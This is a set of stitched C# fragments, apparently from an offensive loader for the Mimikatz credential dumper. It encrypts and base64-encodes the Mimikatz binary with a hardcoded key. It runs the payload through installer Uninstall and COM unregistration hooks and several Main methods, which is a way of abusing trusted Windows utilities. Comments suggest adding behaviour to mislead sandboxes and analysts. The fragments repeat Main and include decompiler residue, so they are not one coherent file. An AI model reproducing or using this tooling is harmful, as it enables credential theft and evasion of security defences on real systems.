//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { //Console.WriteLine("Hello There From Uninstall"); Katz.Exec(); }
public static void Main(string[] args) { if(args.Length == 2) { if(args[0] == "encrypt") { String file = args[1]; //Example Extract Files and Encrypt. Ideally you would compress. But .NET 2 doesn't have really good Compression Libraries.. //byte[] b = Misc.FileToByteArray(@"mimikatz64.exe"); byte[] b = Misc.FileToByteArray(@file); byte[] e = Misc.Encrypt(b,"password"); string f = System.Convert.ToBase64String(e); File.WriteAllText(@"file.b64",f); Console.WriteLine("{0}", f); /* byte[] b1 = Misc.FileToByteArray(@"mimikatzx86.exe"); byte[] e1 = Misc.Encrypt(b1,"password"); string f1 = System.Convert.ToBase64String(e1); File.WriteAllText(@"filex86.b64",f1); */ } else { //Add any behaviour here to throw off sandbox execution/analysts :) Katz.Exec(); } } }
public static void Main() { Console.WriteLine("Hello From Main...I Don't Do Anything"); //Add any behaviour here to throw off sandbox execution/analysts :) Katz.Exec(); /* * //Example Extract Files and Encrypt. Ideally you would compress. But .NET 2 doesn't have really good Compression Libraries.. * byte[] b = Misc.FileToByteArray(@"mimikatz.exe"); * byte[] e = Misc.Encrypt(b,"password"); * string f = System.Convert.ToBase64String(e); * File.WriteAllText(@"file.b64",f); * * byte[] b1 = Misc.FileToByteArray(@"mimikatzx86.exe"); * byte[] e1 = Misc.Encrypt(b1,"password"); * string f1 = System.Convert.ToBase64String(e1); * File.WriteAllText(@"filex86.b64",f1); */ }
[ComUnregisterFunction] //This executes if registration fails public static void UnRegisterClass(string key) { Katz.Exec(); }
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 public static void Main() { Katz.Exec(); }